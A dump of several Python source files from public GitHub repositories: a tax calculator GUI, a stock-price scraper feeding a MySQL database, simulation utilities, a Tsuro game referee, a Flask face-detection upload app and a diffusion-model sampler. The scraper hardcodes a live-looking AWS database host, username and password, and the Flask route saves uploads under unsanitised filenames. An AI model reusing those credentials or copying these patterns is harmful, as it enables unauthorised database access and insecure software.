nights)\n\n\n# Purpose: To determine whether a point is in a rectangle or not\n# Input: A rectangle and a point\n# Output: A True or False whether the point is in the rectangle or not\ndef is_pt_in_rect(rectangle, point):\n point1 = rectangle.getP1()\n point1X = point1.getX()\n point1Y = point1.getY()\n point2 = rectangle.getP2()\n point2X = point2.getX()\n point2Y = point2.getY()\n sideOneLength = abs(point1X - point2X)\n sideTwoLength = abs(point1Y - point2Y)\n pointXvalue = point.getX()\n pointYvalue = point.getY()\n\n if ((abs(point1X - pointXvalue) <= sideOneLength\n and abs(point2X - pointXvalue) <= sideOneLength)\n and (abs(point1Y - pointYvalue) <= sideTwoLength\n and abs(point2Y - pointYvalue) <= sideTwoLength)):\n\n inFlag = True\n\n else:\n inFlag = False\n\n return inFlag\n\n\ndef main():\n window = GraphWin(\"Tax Calculator\", 300, 350)\n window.setBackground(\"White\")\n\n banner = Text(Point(150, 20), \"Tax Calculator\")\n banner.setStyle(\"bold\")\n banner.setFace(\"courier\")\n banner.setSize(18)\n banner.draw(window)\n\n rateText = Text(Point(60,80), \"Rate:\")\n rateText.setFace(\"courier\")\n rateText.draw(window)\n\n rateBox = Entry(Point(200, 80), 7)\n rateBox.setFill(\"White\")\n rateBox.setText(\"0\")\n rateBox.draw(window)\n\n nightText = Text(Point(50, 140), \"Nights:\")\n nightText.setFace(\"courier\")\n nightText.draw(window)\n\n nightBox = Entry(Point(200, 140), 7)\n nightBox.setFill(\"White\")\n nightBox.setText(\"1\")\n nightBox.draw(window)\n\n totalText = Text(Point(56, 200), \"Total:\")\n totalText.setFace(\"courier\")\n totalText.draw(window)\n\n totalBox = Entry(Point(200, 200), 7)\n totalBox.setFill(\"White\")\n totalBox.setText(\"0\")\n totalBox.draw(window)\n\n calc = Image(Point(150, 310), \"button.png\")\n calc.draw(window)\n\n calcButton = Rectangle(Point(68,288), Point(232, 332))\n\n calcFlag = False # Flag of whether or not a calculation has been performed\n\n while True:\n errorFlag = False\n try:\n mouseClick = window.getMouse()\n\n except:\n window.close()\n break\n\n if (is_pt_in_rect(calcButton, mouseClick)):\n try:\n rate = float(rateBox.getText())\n nights = int(nightBox.getText())\n total = float(totalBox.getText())\n\n except: # Reset boxes and clear totals\n totalBox.setText(\"0\")\n nightBox.setText(\"1\")\n rateBox.setText(\"0\")\n if calcFlag:\n totalTax.undraw()\n nightlyTax.undraw()\n\n errorFlag = True\n\n # Make sure values are \"sane\"\n if ((not errorFlag) and (rate < 0 or nights < 1 or total < 0)):\n totalBox.setText(\"0\")\n nightBox.setText(\"1\")\n rateBox.setText(\"0\")\n if calcFlag:\n totalTax.undraw()\n nightlyTax.undraw()\n errorFlag = True\n\n if (not errorFlag):\n if (rate > 0):\n total = round(calc_tax(rate) * nights, 2)\n totalBox.setText(str(total))\n if calcFlag:\n totalTax.undraw()\n nightlyTax.undraw()\n\n nightlyTax = Text(Point(150, 245),\n \"Nightly Tax: \"\n + str(round(calc_tax(rate) - rate, 2)))\n\n nightlyTax.setFill(\"red\")\n nightlyTax.setFace(\"courier\")\n nightlyTax.draw(window)\n\n totalTax = Text(Point(150, 270),\n \"Total Tax: \"\n + str(round(\n calc_diff(rate, total, nights), 2)))\n\n totalTax.setFill(\"red\")\n totalTax.setFace(\"courier\")\n totalTax.draw(window)\n\n calcFlag = True\n\n elif (total > 0):\n rate = round(calc_rate(nights, total), 2)\n rateBox.setText(str(rate))\n if calcFlag:\n totalTax.undraw()\n nightlyTax.undraw()\n\n nightlyTax = Text(Point(150, 245),\n \"Nightly Tax: \"\n + str(round(calc_tax(rate) - rate, 2)))\n\n nightlyTax.setFill(\"red\")\n nightlyTax.setFace(\"courier\")\n nightlyTax.draw(window)\n\n totalTax = Text(Point(150, 270),\n \"Total Tax: \"\n + str(round(\n calc_diff(rate, total, nights), 2)))\n\n totalTax.setFill(\"red\")\n totalTax.setFace(\"courier\")\n totalTax.draw(window)\n\n calcFlag = True\n return\nmain()\n","repo_name":"kthomas422/Tax-Calculator","sub_path":"tax_calc.pyw","file_name":"tax_calc.pyw","file_ext":"pyw","file_size_in_byte":6261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32302019756","text":"from mysql.connector import Error\nimport pymysql\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nfrom datetime import datetime, date, timedelta\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.common.exceptions import SessionNotCreatedException\nimport os\nimport calendar\nimport time\nimport sys\nfrom sys import platform\n\n\ndef get_all_tickers():\n try:\n connection_hosted = pymysql.connect(host='investmentport.c1xr79lgjc2q.us-east-1.rds.amazonaws.com',\n db='investment_portfolio',\n user='investPort',\n passwd='InvestPortPass')\n\n cursor = connection_hosted.cursor()\n sql_insert_query = \"\"\"SELECT ticker FROM all_securities\"\"\"\n\n cursor.execute(sql_insert_query)\n tickers = cursor.fetchall()\n all_tickers = []\n for i in tickers:\n all_tickers.append(i[0])\n cursor.close()\n connection_hosted.close()\n return all_tickers\n except Error as error:\n print(\"parameterized query failed {}\".format(error))\n\n\ndef get_all_s_and_p():\n url = 'https://en.wikipedia.org/wiki/List_of_S%26P_500_companies'\n page = urlopen(url)\n soup = BeautifulSoup(page, 'html.parser')\n table_body = soup.find('table', {'id': 'constituents'}).find('tbody')\n rows = table_body.find_all('tr')\n tickers = []\n for row in rows:\n cols = row.find_all('td')\n if len(cols) > 0:\n tickers.append(cols[0].text.replace('\\n', ''))\n return tickers\n\n\ndef manage_intraday_updates():\n all_s_p = get_all_s_and_p()\n for i in get_all_tickers():\n in_sp = i in all_s_p\n record_dt = datetime.today()\n change_dollar, change_percent, market_cap, current_price = get_intraday_data(i)\n replace_data(get_security_id(i), change_dollar, change_percent, market_cap, current_price, record_dt, in_sp)\n\n\ndef get_intraday_data(ticker):\n print(ticker)\n url = 'https://finance.yahoo.com/quote/' + ticker + '?p=' + ticker + '&.tsrc=fin-srch'\n page = urlopen(url)\n soup = BeautifulSoup(page, 'html.parser')\n changes = soup.find('span', {'data-reactid': '51'}).text.split(\" \")\n change_dollar = float(changes[0].replace(\"+\", \"\"))\n change_percent = float(changes[1].replace(\"(\", \"\").replace(\"%\", \"\").replace(\")\", \"\").replace(\"+\", \"\"))\n market_cap = calc_market_cap(soup.find('span', {'data-reactid': '139'}).text)\n current_price = float(soup.find('span', {'data-reactid': '50'}).text)\n return change_dollar, change_percent, market_cap, current_price\n\n\ndef calc_market_cap(mk_str):\n last_char = mk_str[-1]\n if last_char == 'T':\n val = float(mk_str[:-1]) * 1000000000000\n elif last_char == 'B':\n val = float(mk_str[:-1]) * 1000000000\n else:\n val = float(mk_str[:-1]) * 1000000\n return val\n\n\ndef replace_data(sec_id, change_dollar, change_percent, market_cap, current_price, record_dt, in_sp):\n try:\n connection_hosted = pymysql.connect(host='investmentport.c1xr79lgjc2q.us-east-1.rds.amazonaws.com',\n db='investment_portfolio',\n user='investPort',\n passwd='InvestPortPass')\n\n cursor = connection_hosted.cursor()\n sql_delete_query = \"\"\"DELETE FROM today_data WHERE sec_id = %s\"\"\"\n sql_insert_query = \"\"\"INSERT INTO today_data\n (sec_id, change_dollar, change_percent, market_cap, current_price, record_dt, in_s_p)\n VALUES (%s,%s,%s,%s,%s,%s,%s)\"\"\"\n cursor.execute(sql_delete_query, sec_id)\n cursor.executemany(sql_insert_query, [(sec_id, change_dollar, change_percent, market_cap, current_price,\n record_dt, in_sp)])\n connection_hosted.commit()\n print(\"Data inserted successfully table\")\n cursor.close()\n connection_hosted.close()\n print(\"MySQL connection is closed\")\n except Error as error:\n print(\"parameterized query failed {}\".format(error))\n\n\ndef manage_updates():\n for i in get_all_tickers():\n print(i)\n dates, prices = get_historic_data(i, datetime.today().timestamp(),\n get_most_recent_dt(get_security_id(i)))\n add_historic_price(get_security_id(i), prices, dates)\n\n\ndef get_most_recent_dt(sec_id):\n try:\n connection_hosted = pymysql.connect(host='investmentport.c1xr79lgjc2q.us-east-1.rds.amazonaws.com',\n db='investment_portfolio',\n user='investPort',\n passwd='InvestPortPass')\n\n cursor = connection_hosted.cursor()\n sql_insert_query = \"\"\"SELECT DISTINCT record_dt FROM historic_data\n WHERE sec_id = %s\"\"\"\n\n cursor.executemany(sql_insert_query, (sec_id,))\n try:\n data = cursor.fetchall()\n most_recent = (max(data) + timedelta(days=1)).timestamp()\n except TypeError:\n most_recent = datetime(2000, 1, 1, 0, 0).timestamp()\n cursor.close()\n connection_hosted.close()\n return most_recent\n except Error as error:\n print(\"parameterized query failed {}\".format(error))\n finally:\n print(\"MySQL connection is closed\")\n\n\ndef get_historic_data(ticker, end_dt, begin_dt=datetime(1980, 1, 1, 0, 0).timestamp()):\n dates = []\n close_prices = []\n try:\n if platform == \"linux\":\n chromedriver = os.path.join(sys.path[0], 'chromedriver/chromedriver 2 linux')\n elif platform == \"darwin\":\n chromedriver = os.path.join(sys.path[0], 'chromedriver/chromedriver 3')\n else:\n chromedriver = os.path.join(sys.path[0], 'chromedriver/chromedriver.exe')\n os.environ[\"webdriver.chrome.driver\"] = chromedriver\n options = Options()\n options.headless = True\n driver = webdriver.Chrome(executable_path=chromedriver, options=options)\n url = 'https://finance.yahoo.com/quote/' + ticker + '/history?period1=' + str(int(begin_dt)) + '&period2=' + \\\n str(int(end_dt)) + '&interval=1d&filter=history&frequency=1d'\n num_scrolls = int((end_dt-begin_dt)/(86400*50))\n driver.get(url)\n except SessionNotCreatedException:\n if platform == \"linux\":\n chromedriver = os.path.join(sys.path[0], 'chromedriver/chromedriver linux 85')\n elif platform == \"darwin\":\n chromedriver = os.path.join(sys.path[0], 'chromedriver/chromedriver mac 85')\n else:\n chromedriver = os.path.join(sys.path[0], 'chromedriver/chromedriver win 85.exe')\n os.environ[\"webdriver.chrome.driver\"] = chromedriver\n options = Options()\n options.headless = True\n driver = webdriver.Chrome(executable_path=chromedriver, options=options)\n url = 'https://finance.yahoo.com/quote/' + ticker + '/history?period1=' + str(int(begin_dt)) + '&period2=' + \\\n str(int(end_dt)) + '&interval=1d&filter=history&frequency=1d'\n num_scrolls = int((end_dt-begin_dt)/(86400*50))\n driver.get(url)\n time.sleep(1)\n for i in range(0, num_scrolls):\n driver.execute_script(\"window.scrollTo(1,1000000)\")\n time.sleep(.05)\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n table_body = soup.find('table', {'class': 'W(100%) M(0)'}).find('tbody')\n rows = table_body.find_all('tr')\n for row in rows:\n cols = row.find_all('td')\n if len(cols) > 2 and cols[4].text != '-':\n cur_date = cols[0].text.replace(',', '').split(' ')\n dates.append(date(int(cur_date[2]), list(calendar.month_abbr).index(cur_date[0]), int(cur_date[1])))\n close_prices.append(cols[4].text.replace(',', ''))\n driver.close()\n return dates, close_prices\n\n\ndef add_historic_price(sec_id, prices, dates):\n try:\n connection_hosted = pymysql.connect(host='investmentport.c1xr79lgjc2q.us-east-1.rds.amazonaws.com',\n db='investment_portfolio',\n user='investPort',\n passwd='InvestPortPass')\n\n cursor = connection_hosted.cursor()\n records_to_insert = []\n for i in range(0, len(prices)):\n records_to_insert.append((sec_id, dates[i], prices[i]))\n sql_insert_query = \"\"\"INSERT INTO historic_data\n (sec_id, record_dt, close_price) VALUES (%s,%s,%s)\"\"\"\n\n cursor.executemany(sql_insert_query, records_to_insert)\n connection_hosted.commit()\n print(\"Data inserted successfully table\")\n\n except Error as error:\n print(\"parameterized query failed {}\".format(error))\n finally:\n cursor.close()\n connection_hosted.close()\n print(\"MySQL connection is closed\")\n\n\ndef get_security_id(ticker):\n try:\n connection_hosted = pymysql.connect(host='investmentport.c1xr79lgjc2q.us-east-1.rds.amazonaws.com',\n db='investment_portfolio',\n user='investPort',\n passwd='InvestPortPass')\n\n cursor = connection_hosted.cursor()\n sql_insert_query = \"\"\"SELECT sec_id FROM all_securities\n WHERE ticker = %s\"\"\"\n\n cursor.execute(sql_insert_query, (ticker,))\n try:\n sec_id = cursor.fetchone()[0]\n except TypeError:\n sec_id = None\n except Error as error:\n print(\"parameterized query failed {}\".format(error))\n finally:\n cursor.close()\n connection_hosted.close()\n return sec_id\n","repo_name":"mactaggart-t/InvestmentPortfolio","sub_path":"flask-backend/sql/update_data.py","file_name":"update_data.py","file_ext":"py","file_size_in_byte":9945,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"70781756747","text":"import numpy as np\r\nimport h5py\r\nimport os\r\n\r\ndef setupTime(tStart,tEnd,dt):\r\n\t\r\n\tN = int((tEnd-tStart)/dt+1)\r\n\ttime,dt = np.linspace(tStart,tEnd,N,retstep=True)\r\n\t\r\n\treturn time,dt,N\r\n\r\ndef limit(var,varLimit):\r\n\t# apply varLimit to each index of var \r\n\t# where the magnitude of var exceeds the limit\r\n\t\r\n\tkLimit = abs(var) > varLimit\r\n\tvar[kLimit] = np.sign(var[kLimit]) * varLimit\r\n\treturn var\r\n\r\n# 4th Order Runge Kutta Calculation\r\ndef RK4(f,x,u,dt):\r\n # Inputs: x[k], u[k], dt (time step, seconds)\r\n # Returns: x[k+1]\r\n \r\n # Calculate slope estimates\r\n K1 = f(x, u)\r\n K2 = f(x + K1 * dt / 2, u)\r\n K3 = f(x + K2 * dt / 2, u)\r\n K4 = f(x + K3 * dt, u)\r\n \r\n # Calculate x[k+1] estimate using combination of slope estimates\r\n x_next = x + 1/6 * (K1 + 2*K2 + 2*K3 + K4) * dt\r\n \r\n return x_next,K1\r\n\t\r\ndef saveData(filename,myData):\r\n\t# get full path for filename\r\n\tsavePath = os.path.dirname(os.path.realpath(__file__))\r\n\tfilepath = f'{savePath}\\{filename}'\r\n\t\r\n\tprint(\"Saving to...\")\r\n\tprint(f\"\\t{filepath}\")\r\n\twith h5py.File(filepath,'w') as myFile:\r\n\t\tdList = []\r\n\t\tfor myKey in myData.keys():\r\n\t\t\tdList.append(myFile.create_dataset(myKey,data=myData[myKey]))\r\n\tprint('Done')\r\n\t\t\r\n\t\r\n\r\n","repo_name":"astroHaoPeng/rotational-dynamics","sub_path":"python/simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71228550987","text":"\"\"\"\nHolds a Tsuro referee capable of running a single game of Tsuro.\n\"\"\"\nfrom copy import deepcopy\nfrom typing import Dict, Iterator, List, Optional, Set\n\nfrom Common.board import Board\nfrom Common.color import AllColors, ColorString\nfrom Common.moves import InitialMove, IntermediateMove\nfrom Common.player_interface import PlayerInterface\nfrom Common.result import Result, error, ok\nfrom Common.rules import RuleChecker\nfrom Common.tiles import Tile, load_tiles_from_json\nfrom Common.tsuro_types import GameResult\nfrom Common.util import silenced_object, timeout\nfrom Common.validation import validate_types\nfrom Admin.game_observer import RefereeObserver\n\nTIMEOUT = 3\n\ndef deterministic_tile_iterator() -> Iterator[Tile]:\n \"\"\"\n A simple deterministic infinite tile iterator that yields tiles in order by their\n TileIndex.\n\n :return: An iterator of tiles\n \"\"\"\n while True:\n for _, tile in load_tiles_from_json():\n yield tile\n\n\nclass Referee:\n \"\"\"\n Represents the referee for a game of Tsuro. Runs a full game with the specified players. A instance of the\n Referee class can only be used for a single game and cannot be reused.\n\n In the event of abnormal conditions, the referee will handle them in the following ways:\n - Player cheats -> Player is eliminated from the game\n - Player raises exception -> Player is eliminated from the game\n - Player returns an error -> Player is eliminated from the game\n - Player takes too long -> Not currently handled\n \"\"\"\n\n _players: Dict[ColorString, PlayerInterface]\n _rule_checker: Optional[RuleChecker]\n _tile_iterator: Optional[Iterator[Tile]]\n _cheaters: Set[ColorString]\n _leaderboard: List[Set[ColorString]]\n _observers: List[RefereeObserver]\n\n def __init__(self) -> None:\n \"\"\"\n Create a new Referee.\n \"\"\"\n self._players = {}\n self._rule_checker = None\n self._tile_iterator = None\n self._leaderboard = []\n self._cheaters: Set[ColorString] = set()\n self._observers = []\n\n @validate_types\n def add_observer(self, observer: RefereeObserver):\n self._observers.append(observer)\n\n @validate_types\n def set_players(self, players: List[PlayerInterface]) -> Result[List[ColorString]]:\n \"\"\"\n Add the given players (ordered by age, decreasing) to the game. Ties for age can be represented in either order.\n Returns an error if `len(players)` is greater than 5 or less than 3, or if the method has already been called.\n\n :param players: Players for this referee to use in a game. Allows only 3-5 players.\n :return: The list of colors that will be assigned to those players.\n \"\"\"\n if self._players:\n return error(\"players have already been set for this game.\")\n if len(players) < 3 or len(players) > 5:\n return error(f\"there must be between 3 and 5 players, not {len(players)}.\")\n if len(set(players)) != len(players):\n return error(\n f\"the given set of players contains duplicates (or players that do not \"\n f\"implement __hash__, __eq__)\"\n )\n\n assigned_colors = AllColors[: len(players)]\n \n self._players = {\n color: silenced_object(player)\n for color, player in zip(assigned_colors, players)\n }\n \n for observer in self._observers:\n observer.players_added(assigned_colors)\n return ok(assigned_colors)\n\n @validate_types\n def set_rule_checker(self, rule_checker: RuleChecker) -> None:\n \"\"\"\n Set the rule checker to be used by this referee. Must be called prior to calling run_game().\n\n :param rule_checker: The rule checker that the referee should use.\n \"\"\"\n self._rule_checker = rule_checker\n\n @validate_types\n def set_tile_iterator(self, tile_iterator: Iterator[Tile]) -> None:\n \"\"\"\n Set the iterator of tiles to be used by this referee. Must be infinite and only be used by this referee.\n\n :param tile_iterator: The infinite tile iterator to be used by this referee.\n \"\"\"\n self._tile_iterator = tile_iterator\n\n def run_game(self) -> Result[GameResult]:\n \"\"\"\n Run an entire game of Tsuro with the players that have been added to this referee. Returns the result\n of the game.\n\n A list of players, a rule checker, and a tile iterator must have already been set on this referee\n prior to calling run_game.\n\n :return: The GameResult at the end of the game, or an error if something goes wrong.\n \"\"\"\n if not self._players:\n return error(\"must add players to this referee\")\n if not self._rule_checker:\n return error(\"must add a rule checker to this referee\")\n if not self._tile_iterator:\n return error(\"must add a tile iterator to this referee\")\n\n self._initialize_players()\n board = Board()\n\n # Run the initial turns\n r = self._run_game_initial_turns(board)\n if r.is_error():\n return error(r.error())\n\n # Run the intermediate turns\n while True:\n if len(board.live_players) <= 1:\n break\n\n r = self._run_game_single_round(board)\n if r.is_error():\n return error(r.error())\n\n return self._generate_game_result(board)\n\n def _initialize_players(self) -> None:\n \"\"\"\n Initialize the players contained within this referee according to the player interface\n \"\"\"\n assert self._rule_checker\n for color, player in self._players.items():\n self._handle_player_timeout(color, lambda: player.set_color(color))\n self._handle_player_timeout(color, lambda: player.set_players(list(set(self._players.keys()) - {color})))\n\n def _generate_game_result(self, board: Board) -> Result[GameResult]:\n \"\"\"\n Generate a GameResult once a game of Tsuro is complete based off of the data in self.cheaters,\n self.players_eliminated_in_round, and board. Must only be called once the game is over and 0 or 1\n players remain on the board.\n\n :param board: The board at the end of the game\n :return: The game result which contains a leaderboard and a list of cheaters\n \"\"\"\n # Add the last man standing to the list of eliminated players\n self._leaderboard.append(set(board.live_players.keys()))\n leaderboard = [x for x in reversed(self._leaderboard) if x]\n\n # Return the leaderboard and the cheaters and notify observers\n results = deepcopy((leaderboard, self._cheaters))\n for observer in self._observers:\n observer.game_result(results)\n return ok(results)\n\n def _remove_cheaters(self, board: Board) -> None:\n \"\"\"\n Remove anyone in self.cheaters from the list of players and from the list of currently live players\n\n :param board: The board to remove players from\n \"\"\"\n for player in self._cheaters:\n if player in self._players:\n del self._players[player]\n if player in board.live_players:\n board.remove_player(player)\n for observer in self._observers:\n observer.cheater_removed(player, board.get_board_state())\n\n def _get_tiles(self, num_tiles: int) -> List[Tile]:\n \"\"\"\n Get N tiles from the internal tile iterator\n :param num_tiles: The number of tiles\n :return: A list of retrieved tiles\n \"\"\"\n if self._tile_iterator is None:\n raise ValueError(\n \"Cannot call _get_tiles(n) prior to setting the tile iterator!\"\n )\n\n return [next(self._tile_iterator) for _ in range(num_tiles)]\n \n def _confirm_all_components(self) -> Result[None]:\n \"\"\"\n Checks that all components required for the referee to run (players, rules, tile iterator) exist\n \"\"\"\n if not self._players:\n return error(\"must add players to this referee\")\n if not self._rule_checker:\n return error(\"must add a rule checker to this referee\")\n if not self._tile_iterator:\n return error(\"must add a tile iterator to this referee\")\n return ok(None)\n\n def _run_game_initial_turns(self, board: Board) -> Result[None]:\n \"\"\"\n Run the first step of a Tsuro game: prompting every player for their initial move. Apply the\n changes to this board to the fields contained within this referee.\n\n :param board: The board to run the game on\n :return: A result containing either None or an error\n \"\"\"\n r_components = self._confirm_all_components()\n if r_components.is_error(): return r_components\n\n for color, player in self._players.items():\n tiles = self._get_tiles(3)\n for observer in self._observers:\n observer.initial_move_offered(color, tiles, board.get_board_state())\n\n r_initial_move = self._get_check_initial_move(board, color, player, tiles)\n if r_initial_move.is_error(): continue\n \n r = board.initial_move(r_initial_move.value())\n if r.is_error():\n return error(r.error())\n\n self._remove_cheaters(board)\n return ok(None)\n\n def _get_check_initial_move(\n self, board: Board, color: ColorString, player: PlayerInterface, tiles: List[Tile]\n ) -> Result[InitialMove]:\n \"\"\"\n Gets the initial move from the player and checks whether it is valid based on the rulechecker. If any errors, the player is added as a cheater.\n Returns an error if cheating, or the chosen move if it is valid\n \"\"\"\n r_initial_move = self._handle_player_timeout(color, lambda: player.generate_first_move(deepcopy(tiles), board.get_board_state()))\n if r_initial_move.is_error():\n self._cheaters.add(color)\n return error(r_initial_move.error())\n\n pos, tile, port = r_initial_move.value()\n initial_move = InitialMove(pos, tile, port, color)\n\n for observer in self._observers:\n observer.initial_move_played(color, tiles, board.get_board_state(), initial_move)\n\n r_rule = self._rule_checker.validate_initial_move(board.get_board_state(), tiles, initial_move)\n if r_rule.is_error():\n self._cheaters.add(color)\n return error(r_initial_move.error())\n\n return ok(initial_move)\n\n def _run_game_single_round(self, board: Board) -> Result[None]:\n \"\"\"\n Run the second step of a Tsuro game: prompting every player for an intermediate move. Apply the\n changes to this board to the fields contained within this referee.\n\n :param board: The board to run the game on\n :return: A result containing either None or an error\n \"\"\"\n r_components = self._confirm_all_components()\n if r_components.is_error(): return r_components\n\n alive_at_start_of_round = set(board.live_players.keys())\n for color, player in list(self._players.items()):\n if color not in board.live_players.keys():\n # They were killed by someone else so continue\n continue\n\n tiles = self._get_tiles(2)\n for observer in self._observers:\n observer.intermediate_move_offered(color, tiles, board.get_board_state())\n\n r_intermediate_move = self._get_check_intermediate_move(color, board, tiles, player)\n if r_intermediate_move.is_error(): continue\n\n r = board.intermediate_move(r_intermediate_move.value())\n if r.is_error():\n return error(r.error())\n\n alive_at_end_of_round = set(board.live_players.keys())\n self._leaderboard.append(set())\n self._handle_players_lost_in_round(board, alive_at_start_of_round, alive_at_end_of_round)\n \n return ok(None)\n\n def _handle_players_lost_in_round(\n self, board: Board, alive_at_start_of_round: Set, alive_at_end_of_round: Set\n ):\n \"\"\"\n Removes all players who died during a round from the game and adds them to the leaderboard.\n \"\"\"\n for killed_player in (alive_at_start_of_round - alive_at_end_of_round - self._cheaters):\n self._leaderboard[-1].add(killed_player)\n del self._players[killed_player]\n \n for observer in self._observers:\n observer.player_eliminated(killed_player, board.get_board_state())\n\n self._remove_cheaters(board)\n\n def _get_check_intermediate_move(\n self, color:ColorString, board: Board, tiles: List[Tile], player: PlayerInterface\n ) -> Result[IntermediateMove]:\n \"\"\"\n Gets the intermediate move from the player and checks whether it is valid based on the rulechecker. If any errors, the player is added as a cheater.\n Returns an error if cheating, or the chosen move if it is valid\n \"\"\"\n r_move = self._handle_player_timeout(color, lambda: player.generate_move(deepcopy(tiles), board.get_board_state()))\n if r_move.is_error():\n self._cheaters.add(color)\n return error(r_move.error())\n\n intermediate_move = IntermediateMove(r_move.value(), color)\n r_rule = self._rule_checker.validate_move(board.get_board_state(), tiles, intermediate_move)\n\n for observer in self._observers:\n observer.intermediate_move_played(color, tiles, board.get_board_state(), intermediate_move, r_rule.is_ok())\n\n if r_rule.is_error():\n self._cheaters.add(color)\n return error(r_rule.error())\n\n return ok(intermediate_move)\n\n def _handle_player_timeout(self, color, func):\n \"\"\"\n Calls the method on a player with a timeout. Returns the same value\n as the given function if the function takes less than three seconds\n to run. Otherwise, the player took too long to play, and is added\n to the list of cheaters.\n \"\"\"\n try:\n with timeout(TIMEOUT):\n return func()\n except:\n self._cheaters.add(color)\n","repo_name":"feliciazhang/tsuro","sub_path":"Admin/referee.py","file_name":"referee.py","file_ext":"py","file_size_in_byte":14373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2155636465","text":"from flask import Flask, request\nfrom flask.templating import render_template\nfrom .models.processing import process_image, process_video\n\nimport shutil\nimport warnings\nwarnings.filterwarnings(action='ignore')\n\napp = Flask(__name__)\napp.debug = True\n\n### Main page ###\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n### Face detection ###\n@app.route('/face_detect_get')\ndef face_detect_get():\n return render_template('face_detect_get.html')\n\n@app.route('/face_detect_post', methods=['GET', 'POST'])\ndef face_detect_post():\n if request.method == 'POST':\n face_image = request.files['face_img']\n face_image.save('./front/static/input/'+ str(face_image.filename))\n face_image_path = './front/static/input/' + str(face_image.filename)\n\n known_face_encoding = process_image(face_image_path)\n\n video_file = request.files['object_file']\n video_file.save('./front/static/input/' + str(video_file.filename))\n video_file_path = '/front/static/input/' + str(video_file.filename)\n\n fin_video = process_video(video_path=video_file_path, known_face=known_face_encoding)\n shutil.copy(fin_video, './front/static/output.mp4')\n\n return render_template('face_detect_post.html' , detected=fin_video)\n","repo_name":"jaehwan-AI/video_editer","sub_path":"front/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31463694707","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom diffusion_base import Diffusion\nfrom utils import ConditionalEmbedding\nimport numpy as np\n\n\nclass GaussianDiffusionTrainer(Diffusion):\n def __init__(self, model, config):\n super().__init__(config)\n\n self.model = model\n self.config = config\n # reggister buffer\n # calculations for diffusion q(x_t | x_{t-1}) and others\n self.register_buffer(\n 'sqrt_alphas_bar', self.sqrt_alphas_bar_)\n self.register_buffer(\n 'sqrt_one_minus_alphas_bar', self.sqrt_one_minus_alphas_bar_)\n\n\n def forward(self, x_0, cemb):\n \"\"\"\n Algorithm 1. with label embedding\n \"\"\"\n \n\n # x_0.shape = [batch_size, channels, height, width]\n # select a batch of timesteps\n t = torch.randint(self.T, size=(x_0.shape[0], ), device=x_0.device)\n noise = torch.randn_like(x_0)\n x_t = (\n self.extract(self.sqrt_alphas_bar, t, x_0.shape) * x_0 +\n self.extract(self.sqrt_one_minus_alphas_bar, t, x_0.shape) * noise) \n loss = F.mse_loss(self.model(x_t, t, cemb), noise, reduction='none')\n return loss\n\n\nclass DDPM_Sampler(Diffusion):\n def __init__(self, model, config):\n \n super().__init__(config)\n\n self.model = model\n self.w = config.evaluate.w\n\n self.register_buffer('betas', self.betas_)\n\n # calculations for diffusion q(x_t | x_{t-1}) and others\n self.register_buffer(\n 'sqrt_recip_alphas_bar', self.sqrt_recip_alphas_bar_)\n self.register_buffer(\n 'sqrt_recipm1_alphas_bar', self.sqrt_recipm1_alphas_bar_)\n \n # calculations for posterior q(x_{t-1} | x_t, x_0)\n self.register_buffer(\n 'posterior_var',\n self.betas_ * (1. - self.alphas_bar_prev_) / (1. - self.alphas_bar_))\n \n # below: log calculation clipped because the posterior variance is 0 at\n # the beginning of the diffusion chain\n self.register_buffer(\n 'posterior_log_var_clipped',\n torch.log(\n torch.cat([self.posterior_var[1:2], self.posterior_var[1:]]))) # replace the first element with the second element\n \n self.register_buffer(\n 'posterior_mean_coef1',\n torch.sqrt(self.alphas_bar_prev_) * self.betas_ / (1. - self.alphas_bar_))\n self.register_buffer(\n 'posterior_mean_coef2',\n torch.sqrt(self.alphas_) * (1. - self.alphas_bar_prev_) / (1. - self.alphas_bar_))\n \n def predict_x0_from_eps(self, x_t, t, eps):\n assert x_t.shape == eps.shape\n return (\n self.extract(self.sqrt_recip_alphas_bar, t, x_t.shape) * x_t -\n self.extract(self.sqrt_recipm1_alphas_bar, t, x_t.shape) * eps\n )\n\n def q_mean_variance(self, x_0, x_t, t):\n \"\"\"\n Compute the mean and variance of the diffusion posterior\n q(x_{t-1} | x_t, x_0)\n \"\"\"\n assert x_0.shape == x_t.shape\n posterior_mean = (\n self.extract(self.posterior_mean_coef1, t, x_t.shape) * x_0 +\n self.extract(self.posterior_mean_coef2, t, x_t.shape) * x_t\n )\n posterior_log_var_clipped = self.extract(self.posterior_log_var_clipped, t, x_t.shape)\n return posterior_mean, posterior_log_var_clipped\n\n \n def p_sample(self, x_t, t, cemb): # p_theta(x_{t-1} | x_t)\n # below: only log_variance is used in the KL computations\n model_log_var = {\n # for fixedlarge, we set the initial (log-)variance like so to\n # get a better decoder log likelihood\n 'fixedlarge': torch.log(torch.cat([self.posterior_var[1:2],\n self.betas[1:]])),\n 'fixedsmall': self.posterior_log_var_clipped,\n }[self.var_type]\n\n model_log_var = self.extract(model_log_var, t, x_t.shape)\n\n # Mean parameterization\n eps_cond = self.model(x_t, t, cemb)\n nu_emb = torch.zeros(cemb.shape, device = eps_cond.device)\n eps_uncond = self.model(x_t, t, nu_emb)\n eps = (1+self.w)*eps_cond - self.w*eps_uncond\n\n x_0 = self.predict_x0_from_eps(x_t, t, eps=eps)\n mean, log_var = self.q_mean_variance(x_0, x_t, t)\n \n # x_0 = torch.clip(x_0, -1., 1.)\n # no noise when t == 0\n time_step = t[0]\n if time_step > 0:\n noise = torch.randn_like(x_t) # for a batch of images\n else:\n noise = 0\n\n x_prev = mean + torch.exp(0.5 * log_var) * noise\n return x_prev\n \n def forward(self, x_T, cemb):\n \"\"\"\n Algorithm 